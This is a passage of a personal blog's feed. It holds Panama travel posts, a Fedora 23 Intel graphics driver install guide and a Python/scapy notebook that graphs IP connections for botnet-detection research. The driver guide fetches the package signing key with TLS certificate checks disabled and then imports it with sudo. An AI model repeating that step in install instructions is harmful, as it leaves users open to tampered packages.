<\/a>\n<\/div>\n<p>Soon we left the road and headed straight for the jungle. The paths became less and less obvious and soon it felt like we were years away from any kind of civilization. A really interesting experience! One can only imagine how the people who first explored these lands in the (probably even denser) jungle must have felt!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-3_thumb.jpg\" alt=\"A hiking path in the jungle\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>At one point plastic bags and rags tied to trees were the only indicators we didn't lose our way yet. They were hanged in quite some distances - in which we had to climb hillsides on vines and even steeper slopes on the roots overgrowing them.<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-4.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-4_thumb.jpg\" alt=\"Plastic rags indicating the way\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-5.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-5_thumb.jpg\" alt=\"Sendero de Cruz sign\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The last steps felt easier and after a small climbing act all of us were rewarded with a stunning view over the surrounding area.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-6.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-6_thumb.jpg\" alt=\"The mountainside view reaching up to the Pacific\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Tired but happy we reached the hostel again. Good thing our host was so nice to let us use her fridge. That way we were able to reward ourselves with a cold beer. The rest of the evening we spent relaxing in the hammock on the terrace - watching the sundown and talking endlessly about anything and everything. Good times and happy memories!<\/p>\n<p>The next day we rose early in the morning and continued our travels to the Chame Canyons. About an hour by bus and then roughly another one hiking from the national park, it was the closest thing worth seeing. Ask some people, hop on the (hopefully correct) bus, pay a dollar, jump off. Meet some more friends on the way.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-7.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-7_thumb.jpg\" alt=\"A small lizard greeting us at the entrance\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Now if you've ever seen pictures of Chame before, you might imagine it as a place full of tranquility - a little isolated from the noisy rest. The perfect location for a relaxing break before you head back to the big and dirty city. Yeah... no.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-6\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-8.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-8_thumb.jpg\" alt=\"SO MANY PEOPLE\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Apart from the people, it was really worth the trip however. We had a good time, refueled our energy reserves and made our way back to the city on Sunday afternoon.<\/p>\n<p>Sure, this hasn't been the best trip I did in Panama, but it certainly was one of the most relaxing. During my countless <a href=\"https:\/\/spoons.fyi\/2015\/11\/01\/saxon-switzerland-in-autumn.html\">trips to the Saxon Switzerland<\/a> I already experienced how unwinding it can be to spend some days in the nature with amazing people. I really hope to get the chance to invite my new-found friends there soon! Safe travels!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #12 Getting my Greens in Valle de Ant\u00f3n","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/08\/13\/ppp-12-getting-my-greens-in-valle-de-anton.html","rel":"alternate"}},"published":"2016-08-13T00:00:00+02:00","updated":"2016-08-13T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-08-13:\/2016\/08\/13\/ppp-12-getting-my-greens-in-valle-de-anton.html","summary":"<p>Social Networks are awesome for travelling. By pure accident I met some fellow <em>viajeros<\/em> - two handsome women from Israel and Poland. After a quick chat and meetup we decided to spend our time in Valle de Ant\u00f3n - Anton Valley. From colleagues I already heard a lot about it's natural beauty \u2026<\/p>","content":"<p>Social Networks are awesome for travelling. By pure accident I met some fellow <em>viajeros<\/em> - two handsome women from Israel and Poland. After a quick chat and meetup we decided to spend our time in Valle de Ant\u00f3n - Anton Valley. From colleagues I already heard a lot about it's natural beauty.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-1_thumb.jpg\" alt=\"Valle de Ant\u00f3n Mountainside\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>What has been recommended to all of us was <em>La Cascada El Macho<\/em>: It's the highest waterfall in the whole valley, measuring 70m in altitude. So on the first day we had a quick look at the map and went straight for it. The air was much cleaner than in Panama City. Breathing and walking were easier, the heat wasn't as bad. We passed beautiful paths with great views..<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-2_thumb.jpg\" alt=\"Valle de Ant\u00f3n Highway View\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>..and met new friends (who luckily already ate their lunch).<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-3_thumb.jpg\" alt=\"My new friend Snek\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>After walking some distance and slowly running out of water we started to wonder where the waterfall was. It's a tourist attraction after all. So why were we standing in the middle of nowhere? Well, it turns out that when navigating a map it's always useful to know where north is. But what we lack in orientation we make up with social skills! We managed to convince some very friendly locals to give us a ride back to the city.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-4.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-4_thumb.jpg\" alt=\"Inside the Ride!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>And not only that. In the small conversation we apparently came across as so pleasant that they took us right to the waterfall! It was a refreshing relief from the anonymity we were used to in the big city.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-5.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-5_thumb.jpg\" alt=\"Finally we managed!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The next day, after having a good sleep, we explored the valley a little more and eventually stopped by the hot springs to take a deserved time off before taking the bus back. Photos of myself with mud in my face are better kept secret. So have a nice plant picture instead!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-6.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-6_thumb.jpg\" alt=\"Neutral plants - no mudface here!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>It was a super fun weekend and I'm happy to have met you guys! Safe travels!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-6\">\n    <a href=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-7.jpg\" data-pswp-width=\"1599\" data-pswp-height=\"899\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-12-getting-my-greens\/valle-anton-7_thumb.jpg\" alt=\"Everyone try to look happy now!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #11 Strolling through the Park","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/08\/06\/ppp-11-strolling-through-the-park.html","rel":"alternate"}},"published":"2016-08-06T00:00:00+02:00","updated":"2016-08-06T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-08-06:\/2016\/08\/06\/ppp-11-strolling-through-the-park.html","summary":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-1.jpg\" data-pswp-width=\"3552\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-1_thumb.jpg\" alt=\"Metropolitano Entrance Sign\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Since 1988 there is a park just on the outskirts of Panama City - <em>El Parque Natural Metropolitano<\/em>. It's the only wildlife refuge in the city and is host to an amazing variety of wildlife. There are no special attractions there. It's a place you just go to in a casual \u2026<\/p>","content":"<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-1.jpg\" data-pswp-width=\"3552\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-1_thumb.jpg\" alt=\"Metropolitano Entrance Sign\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Since 1988 there is a park just on the outskirts of Panama City - <em>El Parque Natural Metropolitano<\/em>. It's the only wildlife refuge in the city and is host to an amazing variety of wildlife. There are no special attractions there. It's a place you just go to in a casual manner to relax and forget your everyday duties for some hours. It's fairly big and you can also easily spend a day there - as I did with some friends from the university.<\/p>\n<p>From the main mountain you're able to catch a nice view on the city skyline..<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-2.jpg\" data-pswp-width=\"3553\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-2_thumb.jpg\" alt=\"Panama City Skyline\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-3.jpg\" data-pswp-width=\"3552\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-3_thumb.jpg\" alt=\"Light Breaking through the Trees\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-4.jpg\" data-pswp-width=\"3553\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-4_thumb.jpg\" alt=\"Trees Growing in Earth Buckets\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-5.jpg\" data-pswp-width=\"3553\" data-pswp-height=\"1920\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-11-strolling-through-the-park\/metropolitano-5_thumb.jpg\" alt=\"Turtles in the Water\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>It was a good day.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #10 Gamboa: Welcome to the Jungle","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/07\/09\/ppp-10-gamboa-welcome-to-the-jungle.html","rel":"alternate"}},"published":"2016-07-09T00:00:00+02:00","updated":"2016-07-09T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-07-09:\/2016\/07\/09\/ppp-10-gamboa-welcome-to-the-jungle.html","summary":"<p>My sister and a colleague of her decided to visit me in Panam\u00e0. Still being busy with the investigation, I did not manage to find a lot of time for travels during the week. However on the weekends, we managed to make some small trips. One of them lead us \u2026<\/p>","content":"<p>My sister and a colleague of her decided to visit me in Panam\u00e0. Still being busy with the investigation, I did not manage to find a lot of time for travels during the week. However on the weekends, we managed to make some small trips. One of them lead us into the jungle near the village of Gamboa.<\/p>\n<p>Gamboa once was one of several canal zone townships built to house employees working at the Panama Canal and their families. Later (due to a shortage in housing in the US military base) there were also soldiers living there. The architecture of Gamboa has been preserved with lots of love and nowadays you can find hotels there. The rise of tourism has not damaged the rural flair the least.<\/p>\n<p>We arrived at the Gamboa Rainforest Resort - the main hotel in the region. Besides booking a room, you can also sign up for some tours. From wild canopy tours to relaxed fishing trips and guided jungle adventures there's a plethora of things to do - as long as you have the money. A Pierce Brosnan fan might also appreciate the place. In the opening shot of <em>The Tailor of Panama<\/em> Andrew Osnard, played by Pierce Brosnan is staying at the resort. Pop culture references aside, we decided to go on a guideless rain forest hike first and then follow up with a guided tour on the aerial tram through the jungle. What I discovered during my countless trips into the Panamanian interior is my love for ants and the structures they build.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1038\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-1_thumb.jpg\" alt=\"Fascinating little creatures.\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>It really is fascinating to see such large parts of undisturbed rain forest. The wide variety of bird species, caymans, crocodiles and iguanas also explains why you can find stations of the <a href=\"http:\/\/www.stri.si.edu\/\">Smithsonian Tropical Research Institute<\/a> there. Their employees (mostly researchers) also give tours and explain interesting facts about flora and fauna of the area surrounding Gamboa and the Panama Canal.<\/p>\n<p>The impressions were just amazing. The fresh air was a nice contrast to the contaminated city air. Also there are only few places in the world that offer the tranquility and at the same time vividness of the rain forest.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1038\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-2_thumb.jpg\" alt=\"Amazing rain forest views\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>From a wooden outpost at the top of the aerial tram you can also see the vastness of the surrounding area unfolding in countless silhouettes until it reaches the foggy horizon, while ships make their way to the locks on the main part of the canal. In the lower roght-hand corner you can also see the famous single-lane bridge that is the only way to access Gamboa by road.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1038\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-3_thumb.jpg\" alt=\"Even more views of the rain forest\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>All in all, Gamboa is a nice place to visit. Public transport there is not that great, so try to make contact with some Panamanians that own a car before and go there together! If you plan some guided hiking or canopy tours, make sure to bring enough cash. While the views are beautiful and the money is absolutely worth it, a student will have to save some weeks beforehand to be able to afford it. Here, have a sloth.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-4.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1038\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-10-gamboa-welcome-to-the-jungle\/gamboa-4_thumb.jpg\" alt=\"Sloths are awesome\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Personal"}}},{"title":"Install Intel Graphics Drivers for Fedora 23","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/29\/install-intel-graphics-drivers-for-fedora-23.html","rel":"alternate"}},"published":"2016-06-29T00:00:00+02:00","updated":"2016-06-29T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-29:\/2016\/06\/29\/install-intel-graphics-drivers-for-fedora-23.html","summary":"<p>This is a thing I always forget and have to look up. My Dell XPS 13 (2013) runs on an Intel HD4000 and the drivers are obviously not in the standard repos. This script pulls the (at the time of this writing) most recent driver from the repos of the \u2026<\/p>","content":"<p>This is a thing I always forget and have to look up. My Dell XPS 13 (2013) runs on an Intel HD4000 and the drivers are obviously not in the standard repos. This script pulls the (at the time of this writing) most recent driver from the repos of the <em>Intel Open Source Technology Centre<\/em>.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nb\">cd<\/span><span class=\"w\"> <\/span>\/tmp\nwget<span class=\"w\"> <\/span>--no-check-certificate<span class=\"w\"> <\/span>https:\/\/download.01.org\/gfx\/RPM-GPG-KEY-ilg-2\nsudo<span class=\"w\"> <\/span>rpm<span class=\"w\"> <\/span>--import<span class=\"w\"> <\/span>RPM-GPG-KEY-ilg-2\n\n<span class=\"c1\"># x86_64<\/span>\nwget<span class=\"w\"> <\/span>https:\/\/download.01.org\/gfx\/fedora\/23\/x86_64\/intel-linux-graphics-installer-1.4.0-23.intel20161.x86_64.rpm\n\nsudo<span class=\"w\"> <\/span>dnf<span class=\"w\"> <\/span>install<span class=\"w\"> <\/span>intel-linux-graphics-installer-1.4.0-23.intel20161.x86_64.rpm\nsudo<span class=\"w\"> <\/span>dnf<span class=\"w\"> <\/span>upgrade\n\nsudo<span class=\"w\"> <\/span>intel-linux-graphics-installer\n<\/code><\/pre><\/div>\n\n<p>The installer takes a while to do its work. Just ignore all notifications of GNOME that the program is not responding. In the shell where you did the last call you can see the true progress. After the installation\/ update progress a system reboot is required.<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/install-intel-graphics-drivers-for-fedora-23\/intel-linux-graphics-installer.png\" data-pswp-width=\"700\" data-pswp-height=\"537\" target=\"_blank\">\n        <img src=\"\/blog\/install-intel-graphics-drivers-for-fedora-23\/intel-linux-graphics-installer.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<p>Note that the release names may vary and if you get a 404 in the installer RPM, just look <a href=\"https:\/\/download.01.org\/gfx\/repos\/repos\/repos\/fedora\/23\/x86_64\/\">here<\/a> for the latest version and replace the link above.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"Visualizing IP Connections in Python","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/27\/visualizing-ip-connections-in-python.html","rel":"alternate"}},"published":"2016-06-27T00:00:00+02:00","updated":"2016-06-27T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-27:\/2016\/06\/27\/visualizing-ip-connections-in-python.html","summary":"<p>For some research on botnet host detection in large-scale networks, I found myself in the situation that I had to apply a set of algorithms to a huge packet dump. To comprehend an amazing paper, I started to play around with the dataset and tried to reproduce the results presented \u2026<\/p>","content":"<p>For some research on botnet host detection in large-scale networks, I found myself in the situation that I had to apply a set of algorithms to a huge packet dump. To comprehend an amazing paper, I started to play around with the dataset and tried to reproduce the results presented in the whitepaper. Quickly I realized that there was something fishy with my own dataset, so I fired up <code>jupyter-notebook<\/code> to gain some more insight in the IP structure of my dataset.<\/p>\n<p>My standard tool when dealing with packet analysis in Python is <a href=\"http:\/\/www.secdev.org\/projects\/scapy\/\">scapy<\/a>. For visualization the quasi-standard is <a href=\"http:\/\/matplotlib.org\/\">matplotlib<\/a>. When dealing with graphs, I found <a href=\"https:\/\/networkx.github.io\">NetworkX<\/a> to be very reliable and performant on bigger datasets. So let's get started. First the usual dance:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">import<\/span> <span class=\"nn\">networkx<\/span> <span class=\"k\">as<\/span> <span class=\"nn\">nx<\/span>\n<span class=\"kn\">import<\/span> <span class=\"nn\">matplotlib.pyplot<\/span> <span class=\"k\">as<\/span> <span class=\"nn\">plt<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">scapy.all<\/span> <span class=\"kn\">import<\/span> <span class=\"o\">*<\/span>\n<span class=\"o\">%<\/span><span class=\"n\">matplotlib<\/span> <span class=\"n\">inline<\/span>\n<\/code><\/pre><\/div>\n\n<p>When fiddling around, I noticed that a large-scale directed graph tends to get confusing very quickly as the arrowheads on long edges get distorted. An undirected graph is just as fine for me, because I just want to get a general impression of the datasets IP connection structure.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">G<\/span> <span class=\"o\">=<\/span> <span class=\"n\">nx<\/span><span class=\"o\">.<\/span><span class=\"n\">Graph<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">connections<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">set<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">nodes<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">set<\/span><span class=\"p\">()<\/span>\n<\/code><\/pre><\/div>\n\n<p>Don't forget to use sets to automatically filter out duplicate IP addresses. Now we will go through the dump packet by packet, extract the IP header data and add the relevant data to our sets. <code>connections<\/code> holds tuples containing source and destination, while <code>nodes<\/code> is a set of all existing IP addresses contained in the set.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">with<\/span> <span class=\"n\">PcapReader<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;\/datasets\/pcaps\/internal-clean.pcap&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">pcap_reader<\/span><span class=\"p\">:<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">p<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">pcap_reader<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">if<\/span> <span class=\"n\">IP<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">p<\/span><span class=\"p\">:<\/span>\n            <span class=\"n\">nodes<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">(<\/span><span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"n\">IP<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">src<\/span><span class=\"p\">)<\/span>\n            <span class=\"n\">nodes<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">(<\/span><span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"n\">IP<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">dst<\/span><span class=\"p\">)<\/span>\n            <span class=\"n\">connections<\/span><span class=\"o\">.<\/span><span class=\"n\">add<\/span><span class=\"p\">((<\/span><span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"n\">IP<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">src<\/span><span class=\"p\">,<\/span> <span class=\"n\">p<\/span><span class=\"p\">[<\/span><span class=\"n\">IP<\/span><span class=\"p\">]<\/span><span class=\"o\">.<\/span><span class=\"n\">dst<\/span><span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>\n\n<p>Notice that I don't use <code>rdpcap<\/code> as this would try to load the whole pcap into RAM. Even with my dataset of roughly 550MB, the scapy datastructures took in more of 3GB RAM and filled my swap of 4GB completely. Analyzing the data with my machine took approximately five minutes. I am aware that it would have been more efficient to throw away the payloads of the pcap or even convert it into NetFlow format. However that would have been out of the scope of this quick and dirty hack. :)<\/p>\n<p>Now let's add the data to our graph and prepare the figure size of matplotlib. The graph will get pretty big and the above <code>figsize<\/code> results in an image with 7250\u00d75793 pixels. As there is a lot of data to look at, it's always good to be able to zoom in and have a closer look at some hosts.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">G<\/span><span class=\"o\">.<\/span><span class=\"n\">add_nodes_from<\/span><span class=\"p\">(<\/span><span class=\"n\">nodes<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">G<\/span><span class=\"o\">.<\/span><span class=\"n\">add_edges_from<\/span><span class=\"p\">(<\/span><span class=\"n\">connections<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">rcParams<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;figure.figsize&#39;<\/span><span class=\"p\">]<\/span> <span class=\"o\">=<\/span> <span class=\"mi\">150<\/span><span class=\"p\">,<\/span> <span class=\"mi\">120<\/span>\n<\/code><\/pre><\/div>\n\n<p>Now all we need to do is apply a layout to the graph and draw it using the NetworkX method that uses matplotlib by default. I found the Fruchterman-Reingold force-directed algorithm at &gt;50 iterations to be the most visually pleasing and ordered. If you want to try your luck, a random layout might also yield good results.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">pos<\/span> <span class=\"o\">=<\/span> <span class=\"n\">nx<\/span><span class=\"o\">.<\/span><span class=\"n\">spring_layout<\/span><span class=\"p\">(<\/span><span class=\"n\">G<\/span><span class=\"p\">,<\/span> <span class=\"n\">scale<\/span><span class=\"o\">=<\/span><span class=\"mf\">1.0<\/span><span class=\"p\">,<\/span> <span class=\"n\">iterations<\/span><span class=\"o\">=<\/span><span class=\"mi\">100<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">nx<\/span><span class=\"o\">.<\/span><span class=\"n\">draw<\/span><span class=\"p\">(<\/span><span class=\"n\">G<\/span><span class=\"p\">,<\/span> <span class=\"n\">pos<\/span><span class=\"p\">,<\/span> <span class=\"n\">node_color<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;c&#39;<\/span><span class=\"p\">,<\/span><span class=\"n\">edge_color<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;k&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">with_labels<\/span><span class=\"o\">=<\/span><span class=\"kc\">True<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>The above code results in the following image (here scaled to 1920px):<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/visualizing-ip-connections-in-python\/networkx-network.png\" data-pswp-width=\"7250\" data-pswp-height=\"5793\" target=\"_blank\">\n        <img src=\"\/blog\/visualizing-ip-connections-in-python\/networkx-network_thumb.jpg\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<p>You can also find the full-size image (7250\u00d75793px) <a href=\"https:\/\/spoons.fyi\/2016\/06\/27\/networkx-network.png\">here<\/a>.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"PPP #09 A Trip to Paradise - Bocas del Toro","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/06\/19\/ppp-09-a-trip-to-paradise-bocas-del-toro.html","rel":"alternate"}},"published":"2016-06-19T00:00:00+02:00","updated":"2016-06-19T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-06-19:\/2016\/06\/19\/ppp-09-a-trip-to-paradise-bocas-del-toro.html","summary":"<p>In the travel magazines you always see the same ad pictures. Cristal clear water gently stroking the white-sand beach bordered by palm trees. Deep cyan colours meet intense whites and greens. Amidst this paradisal scenery happily sits a woman drinking from a coconut, enjoying the sun. HARD CUT - company name \u2026<\/p>","content":"<p>In the travel magazines you always see the same ad pictures. Cristal clear water gently stroking the white-sand beach bordered by palm trees. Deep cyan colours meet intense whites and greens. Amidst this paradisal scenery happily sits a woman drinking from a coconut, enjoying the sun. HARD CUT - company name appears. Guess what - I have been there. Not in the ad spot, in that kind of paradise. Just without the woman. You can't have everything, right?<\/p>\n<p>Because I made good progress and worked overtime during the week, I was able to take Friday off. So Thursday night at 11pm I took the bus with a friend towards David. Due to our <a href=\"https:\/\/spoons.fyi\/2016\/06\/13\/ppp-08-conquering-volcan-baru.html\">trip to Volc\u00e1n Bar\u00fa<\/a>, we were already used to that route. From there we were able to head straight up north in the direction of <em>Changuinola<\/em>. After roughly 13 hours we arrived and took the boat to Isla Col\u00f3n.<\/p>\n<p>Quickly we found a hostel owned by hippies - <em>Coconut Hostel<\/em>. As they only wanted $10 a night and were very helpful, we checked in. We socialized all around and also made friends with a lady from a nearby takeaway. She prepared good dishes for little money and gave us a taste of her amazing homemade ginger beer. Should you ever pass by the yellow booth in front of the hostel, make sure to check it out!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-09-a-trip-to-paradise-bocas-del-toro\/bocas-del-toro-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1187\" 